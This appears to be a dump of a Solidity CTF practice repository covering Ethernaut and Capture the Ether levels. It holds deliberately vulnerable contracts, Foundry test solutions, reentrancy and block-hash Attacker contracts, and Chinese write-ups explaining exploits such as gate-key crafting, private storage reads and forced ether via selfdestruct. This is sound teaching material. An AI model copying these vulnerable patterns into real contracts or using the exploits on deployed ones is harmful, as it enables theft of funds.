| } 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Recovery/Recovery.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Recovery { 5 | //generate tokens 6 | function generateToken(string memory _name, uint256 _initialSupply) public { 7 | new SimpleToken(_name, msg.sender, _initialSupply); 8 | } 9 | } 10 | 11 | contract SimpleToken { 12 | string public name; 13 | mapping(address => uint256) public balances; 14 | 15 | // constructor 16 | constructor(string memory _name, address _creator, uint256 _initialSupply) { 17 | name = _name; 18 | balances[_creator] = _initialSupply; 19 | } 20 | 21 | // collect ether in return for tokens 22 | receive() external payable { 23 | balances[msg.sender] = msg.value * 10; 24 | } 25 | 26 | // allow transfers of tokens 27 | function transfer(address _to, uint256 _amount) public { 28 | require(balances[msg.sender] >= _amount); 29 | balances[msg.sender] = balances[msg.sender] - _amount; 30 | balances[_to] = _amount; 31 | } 32 | 33 | // clean up after ourselves 34 | function destroy(address payable _to) public { 35 | selfdestruct(_to); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/Denial/DenialFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Denial.sol"; 7 | 8 | contract DenialFactory is Level { 9 | uint256 public initialDeposit = 0.001 ether; 10 | 11 | function createInstance(address _player) public payable override returns (address) { 12 | _player; 13 | require(msg.value >= initialDeposit); 14 | Denial instance = new Denial(); 15 | (bool result,) = address(instance).call{value: msg.value}(""); 16 | require(result); 17 | return address(instance); 18 | } 19 | 20 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 21 | _player; 22 | Denial instance = Denial(_instance); 23 | if (address(instance).balance <= 100 wei) { 24 | // cheating otherwise 25 | return false; 26 | } 27 | // fix the gas limit for this call 28 | (bool result,) = address(instance).call{gas: 1000000}(abi.encodeWithSignature("withdraw()")); // Must revert 29 | return !result; 30 | } 31 | 32 | receive() external payable {} 33 | } 34 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallout/Fallout.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "openzeppelin-contracts-06/math/SafeMath.sol"; 5 | 6 | contract Fallout { 7 | using SafeMath for uint256; 8 | 9 | mapping(address => uint256) allocations; 10 | address payable public owner; 11 | 12 | /* constructor */ 13 | function Fal1out() public payable { 14 | owner = msg.sender; 15 | allocations[owner] = msg.value; 16 | } 17 | 18 | modifier onlyOwner() { 19 | require(msg.sender == owner, "caller is not the owner"); 20 | _; 21 | } 22 | 23 | function allocate() public payable { 24 | allocations[msg.sender] = allocations[msg.sender].add(msg.value); 25 | } 26 | 27 | function sendAllocation(address payable allocator) public { 28 | require(allocations[allocator] > 0); 29 | allocator.transfer(allocations[allocator]); 30 | } 31 | 32 | function collectAllocations() public onlyOwner { 33 | msg.sender.transfer(address(this).balance); 34 | } 35 | 36 | function allocatorBalance(address allocator) public view returns (uint256) { 37 | return allocations[allocator]; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/Ethernaut/Switch/Switch.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Switch { 5 | bool public switchOn; // switch is off 6 | bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); 7 | 8 | modifier onlyThis() { 9 | require(msg.sender == address(this), "Only the contract can call this"); 10 | _; 11 | } 12 | 13 | modifier onlyOff() { 14 | // we use a complex data type to put in memory 15 | bytes32[1] memory selector; 16 | // check that the calldata at position 68 (location of _data) 17 | assembly { 18 | calldatacopy(selector, 68, 4) // grab function selector from calldata 19 | } 20 | 21 | require(selector[0] == offSelector, "Can only call the turnOffSwitch function"); 22 | _; 23 | } 24 | 25 | function flipSwitch(bytes memory _data) public onlyOff { 26 | (bool success,) = address(this).call(_data); 27 | require(success, "call failed :("); 28 | } 29 | 30 | function turnSwitchOn() public onlyThis { 31 | switchOn = true; 32 | } 33 | 34 | function turnSwitchOff() public onlyThis { 35 | switchOn = false; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/Dex_Two/DexTwo.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./DexTwoFactory.sol"; 6 | 7 | contract DexTwoTest is Test { 8 | DexTwoFactory factory; 9 | 10 | function setUp() public { 11 | factory = new DexTwoFactory(); 12 | } 13 | 14 | function testDexTwo() public { 15 | address dex = factory.createInstance(address(this)); 16 | 17 | address token1 = DexTwo(dex).token1(); 18 | address token2 = DexTwo(dex).token2(); 19 | SwappableTokenTwo token3 = new SwappableTokenTwo( 20 | address(this), 21 | "Token 3", 22 | "TKN3", 23 | 400 24 | ); 25 | 26 | token3.approve(dex, type(uint256).max); 27 | DexTwo(dex).approve(dex, type(uint256).max); 28 | 29 | token3.transfer(dex, 100); 30 | 31 | DexTwo(dex).swap(address(token3), token1, 100); 32 | DexTwo(dex).swap(address(token3), token2, 200); 33 | 34 | assertEq(IERC20(token1).balanceOf(dex), 0); 35 | assertEq(IERC20(token2).balanceOf(dex), 0); 36 | 37 | assertTrue(factory.validateInstance(payable(dex), address(this))); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_One/README.md: -------------------------------------------------------------------------------- 1 | # Gatekeeper One 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xb5858B8EDE0030e46C0Ac1aaAedea8Fb71EF423C) 6 | 7 | 我最喜欢的面壁计划。 8 | 9 | Gatekeeper One,我是你的破壁人。 10 | 11 | ## 运行 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 14 | 15 | ```sh 16 | $ cd WTF-CTF 17 | 18 | $ forge test -C src/Ethernaut/Gatekeeper_One -vvvvv 19 | ``` 20 | 21 | ## 功能简述 22 | 23 | - 对于gateOne,用合约进行调用即可。 24 | 25 | - 对于gateTwo,保证gasleft取到的gas值为8191的整数倍即可,可以在合约调用时调整call时的gas值。 26 | 27 | - 这里使用Foundry的console.sol合约打印执行到gateTwo()时剩余的gas值。 28 | 29 | 我们首先将调用enter方法的gas值定为81910,此时console.log打印出81642,就是说在执行到gateTwo()时剩余的gas值为81642,也就是GatekeeperOne合约在执行gateTwo()修饰器的require()前,一共使用了81910-81642 = 268 gas值,所以,我们只需要在最初调用enter方法的gas值上加 268 gas值即可。81910 + 268 = 82178 30 | 31 | - 对于gateThree,EVM是栈虚拟机,采用大端模式。 32 | 33 | - 对于gateThree part one,保证gateKey后4位与gateKey后8位转为数字后相同,即为0000abcd。 34 | - 对于gateThree part two,保证gateKey后8位与gateKey全16位转为数字后不同,即前8位与后8为不同,即为efgh00000000abcd。 35 | - 对于gateThree part three,保证账户(tx.origin)的后4位与gateKey后8位转为数字后相同,若player账户后4位为:305c。即abcd = 305c(另外:efgh != abcd = 305c) 36 | - 综上, gateKey为 0xabcd00000000305c(若player账户后4位为:305c) -------------------------------------------------------------------------------- /src/Ethernaut/DoubleEntryPoint/DoubleEntryPoint.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./DoubleEntryPointFactory.sol"; 6 | 7 | contract DoubleEntryPointTest is Test, IDetectionBot { 8 | DoubleEntryPointFactory factory; 9 | address doubleEntryPoint; 10 | address public cryptoVault; 11 | Forta public forta; 12 | 13 | function setUp() public { 14 | factory = new DoubleEntryPointFactory(); 15 | 16 | doubleEntryPoint = factory.createInstance(address(this)); 17 | 18 | cryptoVault = DoubleEntryPoint(doubleEntryPoint).cryptoVault(); 19 | 20 | forta = DoubleEntryPoint(doubleEntryPoint).forta(); 21 | 22 | forta.setDetectionBot(address(this)); 23 | } 24 | 25 | function handleTransaction(address user, bytes calldata msgData) public override { 26 | (address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address)); 27 | if (origSender == cryptoVault) { 28 | forta.raiseAlert(user); 29 | } 30 | } 31 | 32 | function testDoubleEntryPoint() public { 33 | assertTrue(factory.validateInstance(payable(doubleEntryPoint), address(this))); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Miscellaneous/Token_bank/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "./TokenBankChallenge.sol"; 5 | 6 | interface ITokenBankChallenge { 7 | function token() external returns (SimpleERC223Token); 8 | function isComplete() external view returns (bool); 9 | function withdraw(uint256) external; 10 | function balanceOf(address) external view returns (uint256); 11 | } 12 | 13 | contract Attacker { 14 | ITokenBankChallenge public challenge; 15 | 16 | uint256 times = 0; 17 | 18 | constructor(address challengeAddress) { 19 | challenge = ITokenBankChallenge(challengeAddress); 20 | } 21 | 22 | function deposit() external { 23 | challenge.token().transfer(address(challenge), challenge.token().balanceOf(address(this))); 24 | } 25 | 26 | function withdraw() external { 27 | challenge.withdraw(challenge.balanceOf(address(this))); 28 | } 29 | 30 | function tokenFallback(address from, uint256 value, bytes calldata) external { 31 | if (from != address(challenge)) return; 32 | if (times == 0) { 33 | times += 1; 34 | challenge.withdraw(challenge.balanceOf(address(this))); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/MagicNumber/MagicNumFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./MagicNum.sol"; 7 | 8 | interface Solver { 9 | function whatIsTheMeaningOfLife() external view returns (bytes32); 10 | } 11 | 12 | contract MagicNumFactory is Level { 13 | function createInstance(address) public payable override returns (address) { 14 | return address(new MagicNum()); 15 | } 16 | 17 | function validateInstance(address payable _instance, address) public view override returns (bool) { 18 | // Retrieve the instance. 19 | MagicNum instance = MagicNum(_instance); 20 | 21 | // Retrieve the solver from the instance. 22 | Solver solver = Solver(instance.solver()); 23 | 24 | // Query the solver for the magic number. 25 | bytes32 magic = solver.whatIsTheMeaningOfLife(); 26 | if (magic != 0x000000000000000000000000000000000000000000000000000000000000002a) return false; 27 | 28 | // Require the solver to have at most 10 opcodes. 29 | uint256 size; 30 | assembly { 31 | size := extcodesize(solver) 32 | } 33 | if (size > 10) return false; 34 | 35 | return true; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/Recovery/RecoveryFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Recovery.sol"; 7 | 8 | contract RecoveryFactory is Level { 9 | mapping(address => address) lostAddress; 10 | 11 | function createInstance(address _player) public payable override returns (address) { 12 | require(msg.value >= 0.001 ether, "Must send at least 0.001 ETH"); 13 | 14 | Recovery recoveryInstance; 15 | recoveryInstance = new Recovery(); 16 | // create a simple token 17 | recoveryInstance.generateToken("InitialToken", uint256(100000)); 18 | // the lost address 19 | lostAddress[address(recoveryInstance)] = address( 20 | uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recoveryInstance, uint8(0x01))))) 21 | ); 22 | // Send it some ether 23 | (bool result,) = lostAddress[address(recoveryInstance)].call{value: msg.value}(""); 24 | require(result); 25 | 26 | return address(recoveryInstance); 27 | } 28 | 29 | function validateInstance(address payable _instance, address) public view override returns (bool) { 30 | return address(lostAddress[_instance]).balance == 0; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Ethernaut/Denial/Denial.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Denial { 5 | address public partner; // withdrawal partner - pay the gas, split the withdraw 6 | address public constant owner = address(0xA9E); 7 | uint256 timeLastWithdrawn; 8 | mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances 9 | 10 | function setWithdrawPartner(address _partner) public { 11 | partner = _partner; 12 | } 13 | 14 | // withdraw 1% to recipient and 1% to owner 15 | function withdraw() public { 16 | uint256 amountToSend = address(this).balance / 100; 17 | // perform a call without checking return 18 | // The recipient can revert, the owner will still get their share 19 | partner.call{value: amountToSend}(""); 20 | payable(owner).transfer(amountToSend); 21 | // keep track of last withdrawal time 22 | timeLastWithdrawn = block.timestamp; 23 | withdrawPartnerBalances[partner] += amountToSend; 24 | } 25 | 26 | // allow deposit of funds 27 | receive() external payable {} 28 | 29 | // convenience function 30 | function contractBalance() public view returns (uint256) { 31 | return address(this).balance; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_secret_number/GuessTheSecretNumberChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GuessTheSecretNumberChallenge.sol"; 6 | 7 | contract GuessTheSecretNumberChallengeTest is Test { 8 | GuessTheSecretNumberChallenge public guessTheSecretNumberChallenge; 9 | address hacker = makeAddr("hacker"); 10 | 11 | function setUp() public { 12 | payable(hacker).transfer(1 ether); 13 | 14 | guessTheSecretNumberChallenge = new GuessTheSecretNumberChallenge{value: 1 ether}(); 15 | } 16 | 17 | function testGuessTheSecretNumber() public { 18 | emit log_named_uint("my balance", hacker.balance); 19 | emit log_named_uint("guessTheSecretNumberChallenge's balance", address(guessTheSecretNumberChallenge).balance); 20 | 21 | vm.startPrank(hacker); 22 | guessTheSecretNumberChallenge.guess{value: 1 ether}(170); 23 | vm.stopPrank(); 24 | 25 | emit log_named_uint("my new value", hacker.balance); 26 | emit log_named_uint( 27 | "guessTheSecretNumberChallenge's new balance", address(guessTheSecretNumberChallenge).balance 28 | ); 29 | 30 | assertTrue(guessTheSecretNumberChallenge.isComplete()); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Mapping/MappingChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "src/utils/BytesDeployer.sol"; 6 | 7 | interface IMappingChallenge { 8 | function isComplete() external view returns (bool); 9 | } 10 | 11 | contract MappingChallengeTest is Test { 12 | IMappingChallenge public mappingChallenge; 13 | 14 | function setUp() public { 15 | Deployer deployer = new Deployer(); 16 | mappingChallenge = 17 | IMappingChallenge(deployer.deployContract("src/Capture_the_Ether/Math/Mapping/MappingChallenge.sol")); 18 | } 19 | 20 | function testMapping() public { 21 | emit log_named_string("before hack, isComplete", mappingChallenge.isComplete() ? "true" : "false"); 22 | 23 | uint256 index = UINT256_MAX - uint256(keccak256(abi.encode(1))) + 1; 24 | bytes memory setCallData = abi.encodeWithSignature("set(uint256,uint256)", index, 1); 25 | 26 | (bool success,) = address(mappingChallenge).call{gas: 100000, value: 0}(setCallData); 27 | assertTrue(success); 28 | 29 | emit log_named_string("after hack, isComplete", mappingChallenge.isComplete() ? "true" : "false"); 30 | 31 | assertTrue(mappingChallenge.isComplete()); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/Ethernaut/Puzzle_Wallet/PuzzleWalletFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./PuzzleWallet.sol"; 7 | 8 | contract PuzzleWalletFactory is Level { 9 | function createInstance(address /*_player*/ ) public payable override returns (address) { 10 | require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance"); 11 | 12 | // deploy the PuzzleWallet logic 13 | PuzzleWallet walletLogic = new PuzzleWallet(); 14 | 15 | // deploy proxy and initialize implementation contract 16 | bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether); 17 | PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data); 18 | PuzzleWallet instance = PuzzleWallet(address(proxy)); 19 | 20 | // whitelist this contract to allow it to deposit ETH 21 | instance.addToWhitelist(address(this)); 22 | instance.deposit{value: msg.value}(); 23 | 24 | return address(proxy); 25 | } 26 | 27 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 28 | PuzzleProxy proxy = PuzzleProxy(_instance); 29 | 30 | return proxy.admin() == _player; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_future/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract Attacker { 5 | address owner; 6 | IPredictTheFutureChallenge challenge; 7 | 8 | error NotOwner(); 9 | error ValueErr(); 10 | error GuessErr(); 11 | 12 | constructor(address _challenge) { 13 | owner = msg.sender; 14 | challenge = IPredictTheFutureChallenge(_challenge); 15 | } 16 | 17 | function lockInGuess(uint8 n) external payable { 18 | if (msg.sender != owner) revert NotOwner(); 19 | if (address(this).balance < 1 ether) revert ValueErr(); 20 | 21 | challenge.lockInGuess{value: 1 ether}(n); 22 | } 23 | 24 | function attack() external { 25 | if (msg.sender != owner) revert NotOwner(); 26 | 27 | challenge.settle(); 28 | 29 | // if we guessed wrong, revert 30 | if (!challenge.isComplete()) revert GuessErr(); 31 | // return all of it to EOA 32 | payable(tx.origin).transfer(address(this).balance); 33 | } 34 | 35 | receive() external payable {} 36 | } 37 | 38 | interface IPredictTheFutureChallenge { 39 | function isComplete() external view returns (bool); 40 | function lockInGuess(uint8 n) external payable; 41 | function settle() external; 42 | } 43 | -------------------------------------------------------------------------------- /src/Ethernaut/Force/README.md: -------------------------------------------------------------------------------- 1 | # Force 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xb6c2Ec883DaAac76D8922519E63f875c2ec65575) 6 | 7 | 有些合约就是拒绝你的付款,就是这么任性 `¯\_(ツ)_/¯` 8 | 9 | 这一关的目标是使合约的余额大于0 10 | 11 | ## 运行 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 14 | 15 | ```sh 16 | $ cd WTF-CTF 17 | 18 | $ forge test -C src/Ethernaut/Force -vvvvv 19 | ``` 20 | 21 | ## 功能简述 22 | 23 | 在日常进行solidity开发时,有时能看到这样的报错 24 | 25 | ``` 26 | Invalid implicit conversion from address to address payable requested. 27 | ``` 28 | 29 | 即某个地址不具备payable属性,这时一般就会进行强转: 30 | 31 | ``` 32 | payable(_address) 33 | ``` 34 | 35 | 如果一个合约要接受 ether, fallback函数或receive函数必须设置为 `payable`. 36 | 37 | 在合约不接受转账时,如何强制给合约账户进行转账? 38 | 39 | `selfdestruct(address)` 40 | 41 | > The `selfdestruct(address)` function removes all bytecode from the contract address and sends all ether stored to the specified address. If this specified address is also a contract, **no functions (including the fallback) get called**. 42 | 43 | 具体使用方法请参考:[WTF Solidity极简入门: 26. 删除合约](https://github.com/AmazingAng/WTF-Solidity/tree/main/26_DeleteContract) 44 | 45 | 并没有什么办法可以阻止攻击者通过自毁合约向任意地址发送 ether。 46 | 47 | 从solidity的[v0.8.18](https://github.com/ethereum/solidity/releases/tag/v0.8.18)后,使用`selfdestruct`会产生编译警告,不过目前只是警告,并没有禁用。 48 | 49 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_new_number/GuessTheNewNumberChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GuessTheNewNumberChallenge.sol"; 6 | import "./Attacker.sol"; 7 | 8 | contract GuessTheNewNumberChallengeTest is Test { 9 | GuessTheNewNumberChallenge public guessTheNewNumberChallenge; 10 | address hacker = makeAddr("hacker"); 11 | 12 | function setUp() public { 13 | payable(hacker).transfer(1 ether); 14 | 15 | guessTheNewNumberChallenge = new GuessTheNewNumberChallenge{value: 1 ether}(); 16 | } 17 | 18 | function testGuessTheNewNumber() public { 19 | emit log_named_uint("my balance", hacker.balance); 20 | emit log_named_uint("guessTheNewNumberChallenge's balance", address(guessTheNewNumberChallenge).balance); 21 | 22 | vm.startPrank(hacker); 23 | Attacker attacker = new Attacker(); 24 | attacker.attack{value: 1 ether}(address(guessTheNewNumberChallenge)); 25 | vm.stopPrank(); 26 | 27 | emit log_named_uint("my new value", hacker.balance); 28 | emit log_named_uint("guessTheNewNumberChallenge's new balance", address(guessTheNewNumberChallenge).balance); 29 | 30 | assertTrue(guessTheNewNumberChallenge.isComplete()); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Choose_a_nickname/NicknameChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./NicknameChallenge.sol"; 6 | 7 | contract NicknameChallengeTest is Test { 8 | CaptureTheEther public captureTheEther; 9 | NicknameChallenge public nicknameChallenge; 10 | address hacker = makeAddr("hacker"); 11 | 12 | function setUp() public { 13 | captureTheEther = new CaptureTheEther(); 14 | 15 | vm.startPrank(address(captureTheEther)); 16 | nicknameChallenge = new NicknameChallenge(hacker); 17 | vm.stopPrank(); 18 | } 19 | 20 | function testNickname() public { 21 | emit log_named_string( 22 | "before change the name, the isComplete's value", nicknameChallenge.isComplete() ? "true" : "false" 23 | ); 24 | assertFalse(nicknameChallenge.isComplete()); 25 | 26 | vm.startPrank(hacker); 27 | // set my name to UINT256_MAX 28 | captureTheEther.setNickname(bytes32(UINT256_MAX)); 29 | vm.stopPrank(); 30 | 31 | emit log_named_string( 32 | "after change the name, the isComplete's value", nicknameChallenge.isComplete() ? "true" : "false" 33 | ); 34 | assertTrue(nicknameChallenge.isComplete()); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/Ethernaut/Naught_Coin/NaughtCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; 5 | 6 | contract NaughtCoin is ERC20 { 7 | // string public constant name = 'NaughtCoin'; 8 | // string public constant symbol = '0x0'; 9 | // uint public constant decimals = 18; 10 | uint256 public timeLock = block.timestamp + 10 * 365 days; 11 | uint256 public INITIAL_SUPPLY; 12 | address public player; 13 | 14 | constructor(address _player) ERC20("NaughtCoin", "0x0") { 15 | player = _player; 16 | INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); 17 | // _totalSupply = INITIAL_SUPPLY; 18 | // _balances[player] = INITIAL_SUPPLY; 19 | _mint(player, INITIAL_SUPPLY); 20 | emit Transfer(address(0), player, INITIAL_SUPPLY); 21 | } 22 | 23 | function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { 24 | super.transfer(_to, _value); 25 | } 26 | 27 | // Prevent the initial owner from transferring tokens until the timelock has passed 28 | modifier lockTokens() { 29 | if (msg.sender == player) { 30 | require(block.timestamp > timeLock); 31 | _; 32 | } else { 33 | _; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/Ethernaut/Preservation/Preservation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Preservation { 5 | // public library contracts 6 | address public timeZone1Library; 7 | address public timeZone2Library; 8 | address public owner; 9 | uint256 storedTime; 10 | // Sets the function signature for delegatecall 11 | bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); 12 | 13 | constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { 14 | timeZone1Library = _timeZone1LibraryAddress; 15 | timeZone2Library = _timeZone2LibraryAddress; 16 | owner = msg.sender; 17 | } 18 | 19 | // set the time for timezone 1 20 | function setFirstTime(uint256 _timeStamp) public { 21 | timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 22 | } 23 | 24 | // set the time for timezone 2 25 | function setSecondTime(uint256 _timeStamp) public { 26 | timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 27 | } 28 | } 29 | 30 | // Simple library contract to set the time 31 | contract LibraryContract { 32 | // stores a timestamp 33 | uint256 storedTime; 34 | 35 | function setTime(uint256 _time) public { 36 | storedTime = _time; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/Ethernaut/Privacy/README.md: -------------------------------------------------------------------------------- 1 | # Privacy 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x6DcE47e94Fa22F8E2d8A7FDf538602B1F86aBFd2) 6 | 7 | 这个合约的制作者非常小心的保护了敏感区域的 storage. 8 | 9 | 解开这个合约来完成这一关. 10 | 11 | ## 运行 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 14 | 15 | ```sh 16 | $ cd WTF-CTF 17 | 18 | $ forge test -C src/Ethernaut/Privacy -vvvvv 19 | ``` 20 | 21 | ## 功能简述 22 | 23 | 解锁合约需要得到data[2]的前16个字节。在Privacy合约中的变量 24 | 25 | ```solidity 26 | bool public locked = true;// locked占插槽0的1个字节,插槽0剩余31字节 27 | uint256 public ID = block.timestamp;// 插槽0中只剩31个字节,不够ID存放,所以ID存放在插槽1中,占32个字节,插槽1已满 28 | uint8 private flattening = 10;// flattening占插槽2的1个字节,插槽2剩余31字节 29 | uint8 private denomination = 255;// denomination占插槽2的1个字节,插槽2剩余30字节 30 | uint16 private awkwardness = uint16(now);// awkwardness占插槽2的2个字节,插槽2剩余29字节 31 | bytes32[3] private data;// 插槽2剩余29字节,不够data存放,data[0]占满插槽3的32个字节,data[1]占满插槽4的32个字节,data[2]占满插槽5的32个字节 32 | ``` 33 | 34 | 所以data[2]在插槽5中,只需要读取到插槽5的前16个字节即可解锁合约。 35 | 36 | ```solidity 37 | bytes16(vm.load(privacy, bytes32(uint256(5)))) 38 | ``` 39 | 40 | 在EVM链上, 没有什么是私有的。 private 关键词只是 solidity 中人为规定的一个结构。 我们其实可以读取 storage 中的任何信息, 虽然有些数据读取的时候会比较麻烦。 41 | 42 | 想要知道如何读取合约中更多的信息, 可以参见 "Darius" 写的这篇详细的文章: [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_block_hash/PredictTheBlockHashChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./PredictTheBlockHashChallenge.sol"; 6 | 7 | contract PredictTheBlockHashChallengeTest is Test { 8 | PredictTheBlockHashChallenge public predictTheBlockHashChallenge; 9 | address hacker = makeAddr("hacker"); 10 | 11 | function setUp() public { 12 | payable(hacker).transfer(1 ether); 13 | 14 | predictTheBlockHashChallenge = new PredictTheBlockHashChallenge{value: 1 ether}(); 15 | } 16 | 17 | function testPredictTheBlockHash() public { 18 | emit log_named_uint("my balance", hacker.balance); 19 | emit log_named_uint("predictTheBlockHashChallenge's balance", address(predictTheBlockHashChallenge).balance); 20 | 21 | vm.startPrank(hacker); 22 | predictTheBlockHashChallenge.lockInGuess{value: 1 ether}(bytes32(0)); 23 | 24 | vm.roll(block.number + 260); 25 | 26 | predictTheBlockHashChallenge.settle(); 27 | vm.stopPrank(); 28 | 29 | emit log_named_uint("my new value", hacker.balance); 30 | emit log_named_uint("predictTheBlockHashChallenge's new balance", address(predictTheBlockHashChallenge).balance); 31 | 32 | assertTrue(predictTheBlockHashChallenge.isComplete()); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/Ethernaut/Motorbike/MotorbikeFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity <0.7.0; 4 | 5 | import "../base/Level-06.sol"; 6 | import "./Motorbike.sol"; 7 | import "openzeppelin-contracts-06/utils/Address.sol"; 8 | 9 | contract MotorbikeFactory is Level { 10 | mapping(address => address) private engines; 11 | 12 | function createInstance(address _player) public payable override returns (address) { 13 | _player; 14 | 15 | Engine engine = new Engine(); 16 | Motorbike motorbike = new Motorbike(address(engine)); 17 | engines[address(motorbike)] = address(engine); 18 | 19 | require( 20 | keccak256(Address.functionCall(address(motorbike), abi.encodeWithSignature("upgrader()"))) 21 | == keccak256(abi.encode(address(this))), 22 | "Wrong upgrader address" 23 | ); 24 | 25 | require( 26 | keccak256(Address.functionCall(address(motorbike), abi.encodeWithSignature("horsePower()"))) 27 | == keccak256(abi.encode(uint256(1000))), 28 | "Wrong horsePower" 29 | ); 30 | 31 | return address(motorbike); 32 | } 33 | 34 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 35 | _player; 36 | return !Address.isContract(engines[_instance]); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_number/README.md: -------------------------------------------------------------------------------- 1 | # Guess the number 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/lotteries/guess-the-number/) 6 | 7 | 原题目要求 GuessTheNumberChallenge 合约的 ether 余额为 0。而调用 guess 并输入正确答案即可转移 ether 出去。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 